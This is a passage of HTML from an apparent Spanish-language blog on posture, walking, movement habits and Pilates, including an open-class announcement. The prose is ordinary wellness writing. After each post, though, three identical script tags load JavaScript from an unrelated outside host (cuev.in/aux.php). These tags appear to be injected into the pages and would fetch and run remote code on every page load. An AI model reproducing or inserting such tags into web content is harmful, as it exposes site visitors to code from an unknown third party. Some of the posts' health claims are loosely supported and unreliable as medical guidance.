aliviar el cuello, la postura total del cuerpo necesita reorganizarse.</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;"><br /></span></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Corregir mi cuello desde el cuello mismo no me llevaba
a ningún lado. Para solucionar mis tensiones de hombros y cuello tenía que
mirar que estaba haciendo el resto de mi cuerpo, de la cabeza a los pies. Sobre
todo, tenía que mirar qué partes no se estaban involucrando en el movimiento
general del cuerpo, qué partes estaban rígidas y se movían en bloque sin dejar
que la onda de la propulsión las articule secuencial y proporcionalmente.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Al final de cada caminata, o en los momentos de
descanso, si notaba que me dolían cuello u hombros, hacía algunos movimientos
suaves que buscaban devolverle movilidad a las zonas que se habían rigidizado,
y la sensación de soporte a las zonas (como el cuello) que se sentían sobre
exigidas. Luego de estos movimientos, y al volver a caminar, notaba una
distribución del trabajo y del movimiento más equilibrada, más equitativa en
todos los segmentos de la columna y las articulaciones de los miembros.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">En resumen,
para corregir efectivamente la alineación del cuello debemos tomar en cuenta a
la columna en su totalidad.</span><o:p></o:p></span></b></div>
<br />
<div class="MsoNormal">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com1tag:blogger.com,1999:blog-1987438956695353649.post-89395816128097967392017-06-12T17:03:00.000-03:002017-06-12T17:03:29.599-03:00La vida es propulsión.<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtx-EeXMjqw3R3yYSAEDcuIovVGPdHLxIjsUovVgAl-66tKD0ss2iRBjhElGCZc1xonmK24O1xduxGWjlHzWIWha32pC-7oWIRDf30tyhTCYce7GpRIZf4wuU5veUxpqmSqwS3GsiLT3hp/s1600/2017-12-6--16-33-22.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtx-EeXMjqw3R3yYSAEDcuIovVGPdHLxIjsUovVgAl-66tKD0ss2iRBjhElGCZc1xonmK24O1xduxGWjlHzWIWha32pC-7oWIRDf30tyhTCYce7GpRIZf4wuU5veUxpqmSqwS3GsiLT3hp/s1600/2017-12-6--16-33-22.jpeg" /></a></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Pulsión de vida. Pro-pulsión. Pulsación. Pro-pulsarse. Pulso. No deja de sorprenderme cuán ligada está la palabra “pulso” tanto al corazón como al movimiento hacia adelante, el caminar. “El caminar es bueno para el corazón” dicen. El caminar es parte del ritmo de la vida, del ritmo del corazón mismo, del ritmo del fluir de nuestra sangre. El caminar es nuestro pulso.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">En las condiciones de vida actuales no caminamos con suficiente asiduidad. Esto genera problemas en muchos niveles, pero en el nivel más básico genera un problema circulatorio (vascular). </span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">El corazón bombea sangre con oxígeno fresco que llega a todo el cuerpo, desde el corazón hasta los extremos de las manos y los pies, ayudada por arterias musculares y la fuerza de la gravedad. La sangre con desechos metabólicos que vuelve de los pies al corazón no cuenta con venas musculares ni con la ayuda de la gravedad, y por tanto necesita de la ayuda de otra bomba que la impulse en su viaje. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Esta bomba extra la proveen los músculos de las pantorrillas. Sin embargo, a diferencia del corazón, esta bomba no tiene un funcionamiento automático, sino que requiere del movimiento dinámico para activarla. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Al caminar generamos la contracción de los músculos de las pantorrillas, que no sólo nos impulsan a hacia adelante, sino que además impulsan la sangre en las venas hacia arriba, devuelta al corazón. </span></span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Sin la ayuda del caminar, o de otro movimiento que reclute rítmicamente los músculos de las pantorrillas, la sangre que fluye hacia abajo con el latir del corazón no sube devuelta con la misma fuerza. Esto significa que el ritmo con el que nutrimos los tejidos con sangre oxigenada no es igual al ritmo con el que los limpiamos de sus desechos metabólicos. Esto no es bueno para la salud de los tejidos, y la debilidad de la bomba de los gemelos (los músculos de las pantorrillas) está a su vez relacionada al síndrome de insuficiencia vascular periférica.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Ahora bien, no siempre es práctico salir a caminar.</span></b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"> <o:p></o:p></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Lo bueno es que podemos contraer los músculos de las pantorrillas sin movernos de donde estamos. Al pararnos en punta de pie los estamos contrayendo. Si lo hacemos repetida y rítmicamente estamos en los hechos rebotando en el lugar. Y eso lo podemos hacer en cualquier lado, incluso sentados… aunque si nos paramos ganamos ciertos beneficios extra. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span style="color: #990000;"><b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Ruthy Alon, creadora de los programas Bones for Life© y Walk for Life</span></b><b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">©</span></b></span><b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;"> - Movement Intelligence©, recomienda el acto de rebotar sobre los talones como una práctica diaria para limpiar, realinear y reactivar el cuerpo y la mente, si por algún motivo caminar se nos hace imposible.</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Rebotar (o caminar) suavemente en el lugar nos sacude. Esta sacudida general no solo ayuda al bombeo sanguíneo, sino que también le permite a cada hueso apoyarse más plenamente en el hueso inferior inmediato, realineando así espontáneamente al esqueleto. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Esta realineación de los huesos hace posible que el estar de pie requiera menos esfuerzo muscular, ya que la estructura se apoya en la cadena de huesos alineados del esqueleto, en vez de depender de la fuerza de los músculos para mantener la estructura erguida.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">La reactivación del bombeo sanguíneo devuelta al corazón y la realineación del esqueleto conspiran juntas para limpiar y reactivar la mente. A su vez mejorar el eje tiene una influencia directa sobre nuestro estado emocional y nuestra autoimagen.</span><o:p></o:p></span></b></div>
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></b></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">En definitiva, el movimiento dinámico es necesario para nuestra salud física y mental general. Sin embargo si nuestra alineación postural deja mucho que desear, el movimiento dinámico puede poner en riesgo ciertas articulaciones. <o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;">Con cada paso o rebote el peso total del cuerpo atraviesa cada hueso y puede colapsar las articulaciones más proclives a estar fuera de eje (cuello, lumbares, rodillas). Por eso, es esencial aprender a organizar la postura conscientemente para sostener los movimientos dinámicos con eficiencia y confianza.<u> <o:p></o:p></u></span></div>
<div class="MsoNormal">
<span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><br /></span></div>
<br />
<div class="MsoNormal">
<b><span lang="ES-UY" style="font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY;"><span style="color: #990000;">Aprender a alinear el esqueleto para que la fuerza atraviese ininterrumpida de pie a cabeza es vital para poder caminar largo, tendido y sin dolor. Vale la pena aprender a pulsar con el ritmo natural. Vale la pena aprender a pro-pulsarnos.</span><u><o:p></o:p></u></span></b></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-70431821501858267832017-06-04T19:58:00.000-03:002017-06-04T19:58:50.486-03:00Moveo Ergo Sum<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpFuEQY_Xg2vsZLjAwLA7yb2zL9ix0hgcivln_-80tW4huCNXEB7hW6hbFU1uSmTFC_sjGF_0zMGyfNh3IaPx6L2hx9eVfB5seggJRDQCYoOYotMjZcf-8xJA4wOxZd3A9zHcLrY0dng5s/s1600/2017-31-5--17-20-07.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpFuEQY_Xg2vsZLjAwLA7yb2zL9ix0hgcivln_-80tW4huCNXEB7hW6hbFU1uSmTFC_sjGF_0zMGyfNh3IaPx6L2hx9eVfB5seggJRDQCYoOYotMjZcf-8xJA4wOxZd3A9zHcLrY0dng5s/s1600/2017-31-5--17-20-07.jpeg" /></a></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<b><span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<b><span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="color: #990000;">La bendición y la maldición de los
hábitos de movimiento</span><o:p></o:p></span></b></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Los hábitos son respuestas aprendidas: secuencias
pre-programadas de movimientos que se ejecutan tal cual fueron grabadas, más
allá de cuán apropiadas sean para las circunstancias presentes.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Los hábitos son necesarios: ahorran tiempo y energía;
sin ellos tendríamos que armar nuestras respuestas desde cero para cada
situación. Los hábitos nos permiten <i>anticiparnos</i>
a los cambios y por lo tanto estar listos para responder de alguna forma que ya
probamos funciona.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Todas mis respuestas habituales fueron en algún
momento respuestas nuevas que me solucionaron algún problema o desafío. Como
funcionaron elegí repetirlas una y otra vez, cada vez que una situación o
desafío parecido se me presentó. Con cada éxito (relativo o absoluto) mi
sistema se fue convenciendo que a este comportamiento valía la pena grabarlo y
cementarlo, hacerlo automático, y por tanto lo fue pasando de una respuesta
consciente a una respuesta sub-consciente. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Este pasaje de comportamientos del plano consciente al
subconsciente o automático, es vital para ahorrar energía y tiempo. Si no me
crees, imaginate lo complicada que sería tu vida si todos los días tuvieses que
pensar qué acciones seguir para lavarte los dientes, ponerte las medias o
llevarte comida a la boca. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">El problema es que una vez que una respuesta se vuelve
automática por lo general dejamos de observarla. Al dejar de observarla dejamos
de medir su eficiencia e incluso su efectividad. Y lo que comenzó como una
posible respuesta ante una desafío particular, se vuelve la única respuesta en
mi repertorio ante todos los desafíos similares.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Este constante repetición de ciertos movimiento
(piensa nomás cuántas veces al día te paras, te sientas, caminas, levantas los
brazos, etc.), que recluta los mismos músculos en las misma secuencia una y
otra vez, acaba moldeando mi piel, mis huesos, mis músculos, mis tejidos
conectivos, mi forma toda. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Mis respuestas automáticas se convierten entonces no
sólo en los <i>andamios ocultos</i> sobre
los que construyo mis acciones en el mundo, mis reacciones a la vida, mis
rutinas diarias, sino también los <i>andamios
ocultos</i> sobre los que se modela la forma con la que me presento al mundo. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Y el mundo responde a esta forma que proyecto, y su
respuesta me confirma que esta forma es como soy, es <i>quién soy</i>: <i>Moveo ergo sum.<o:p></o:p></i></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">El automatismo me vuelve <i>ciega</i> a mis hábitos, y por tanto me dominan y me definen.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">¿Puedo <i>ser</i>
de otra <i>forma</i>?<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<span lang="ES-UY" style="font-size: 13.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Quiero creer que sí. Los andamios de mis acciones son <i>ocultos</i> sólo mientras no me dedique a
buscarlos y <i>des-cubrirlos</i>. Quizás
entonces pueda aprender a elegir y construir nuevas respuestas…<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in; mso-layout-grid-align: none; text-autospace: none;">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-10856820482332410622017-06-02T13:49:00.002-03:002017-06-02T13:49:42.684-03:00Clase Abierta de Pilates SomatoSofía<div class="MsoNormal">
<span lang="ES-UY">Hace ya más
de un año que, junto con Eduardo, venimos desarrollando en el estudio de Beatriz
Sagarra una modalidad diferente de practicar el método Pilates que integra la meditación
y el trabajo con la alineación postural y el movimiento sin esfuerzos
innecesarios. Lo que comenzó como un grupo experimental hoy es ya una modalidad
establecida y en constante desarrollo.<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="ES-UY">Para
quienes estén interesados en explorar una nueva forma de entender y practicar
Pilates, los invitamos a participar de una clase el viernes 16 de junio de 8:30
a 9:45.<o:p></o:p></span></div>
<br />
<div class="MsoNormal">
<span lang="ES-UY">Hay sólo 5
cupos disponibles.</span></div>
<div class="MsoNormal">
<span lang="ES-UY"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgawTRktUWjeGX-DDkvwdL_JaHSGA8r0CwJqNdXomH0UrxbuQEAQSD_NrzASV969todTCXajjJoPRQrao8gDsmMHxXymMFOqsTSM4tmuf_3xiMevkQcwK1eXD2_diFt-X9QVh5kvf-t4qmr/s1600/Flyers.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="842" data-original-width="595" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgawTRktUWjeGX-DDkvwdL_JaHSGA8r0CwJqNdXomH0UrxbuQEAQSD_NrzASV969todTCXajjJoPRQrao8gDsmMHxXymMFOqsTSM4tmuf_3xiMevkQcwK1eXD2_diFt-X9QVh5kvf-t4qmr/s1600/Flyers.jpg" /></a></div>
<div class="MsoNormal">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.1&ref=zte" type="text/javascript"></script>Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-57535278059171962462017-05-28T20:44:00.000-03:002017-05-28T20:44:04.266-03:00El cuerpo como unidad: Trabajar el todo para integrar la parte<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM01ECHEMADls7jtUJ3o5ySOTTFLvRzWlZf7HdsniKyqvfHCWnBVCdA_Qa9CXhSF5RrTy5dZR7XQBJEFHqL6n09PYRR6BSauDW_aL3xTu7HM6N0QtHJwolMV_Cw-NxhyphenhypheniaWMmpSYnGiDcN/s1600/the+forest+for+the+trees.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM01ECHEMADls7jtUJ3o5ySOTTFLvRzWlZf7HdsniKyqvfHCWnBVCdA_Qa9CXhSF5RrTy5dZR7XQBJEFHqL6n09PYRR6BSauDW_aL3xTu7HM6N0QtHJwolMV_Cw-NxhyphenhypheniaWMmpSYnGiDcN/s1600/the+forest+for+the+trees.jpeg" /></a></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Es casi un
chiste con mi pareja que cada vez que a él o a mi nos duele algo, físico o
psíquico, invariablemente culpo al clima o a cualquier otro suceso atmosférico
o estratosférico que esté ocurriendo en ese momento.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Ahora
bien, no hago esto para liberarme de mi parte de responsabilidad en la situación
doliente; es más un tema de poner mis problemas dentro de un contexto más
amplio y reconocer como, en cierta medida, todo ejerce su influencia sobre todo
lo demás y nada existe en un tupper aislado.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Reconocer la
interrelación de todo me devuelve un poco de poder, ya que pone ciertas
acciones a mi alcance. Quizás no pueda hacer nada por solucionar directamente
lo que me duele, pero sí puedo jugar un poco con modificar mis circunstancias,
mi contexto, mi ambiente interno o externo (ponerme un buzo, limpiar la casa,
tomar agua, salir a correr, dormir una siesta, etc.) para acomodarme mejor a
las condiciones “atmosféricas” presentes. A veces, es trabajando sobre algo
aparentemente alejado y desconectado de mi problema actual que el tema en
cuestión parece solucionarse “mágicamente” y por sí solito.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Algo
parecido ocurre con los dolores o lesiones articulares.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por
ejemplo, cada tanto alguno de mis alumnos de re-educación postural viene con un
problema de hombro… una tendinitis digamos. No soy ninguna experta en hombro, y
por tanto asumo que para cuando llegan a mí ya han visto al especialista y
tienen un diagnóstico y han seguido algún tratamiento convencional (si no han
visto a un especialista y están con dolor los insto a consultar). <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Pero en lo
que a mi trabajo se refiere, no me focalizo tanto en trabajar directamente sobre
ese hombro. Lo que a mí me interesa es ver cómo todo el resto del cuerpo está
trabajando en relación al funcionamiento de ese hombro. <o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Es fácil
asumir que si lo que duele es el hombro entonces el problema es del hombro y lo
que debe ser tratado es el hombro… Pero esto no es necesariamente así. Es más,
a veces el hombro está tan dolorido e inflamado que es mejor ni siquiera mover
la articulación directamente, o totalmente, ya que hacerlo sólo aumentaría la
irritación de los tejidos del área y por tanto el dolor en la zona.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<br /></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Por lo
tanto, generalmente comienzo mi trabajo evaluando el movimiento en otras
articulaciones y cómo estos movimientos repercuten en la gran autopista de la
comunicación de los movimientos del cuerpo: la columna vertebral.<o:p></o:p></span></div>
<div style="margin-bottom: 12.0pt;">
<span lang="ES-UY" style="font-family: "Calibri",sans-serif; font-size: 13.0pt; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">En la
Técnica Alexander, así como en muchas otras modalidades de movimiento somático,
se trabaja desde la perspectiva del cuerpo como una unidad (también se trabaja
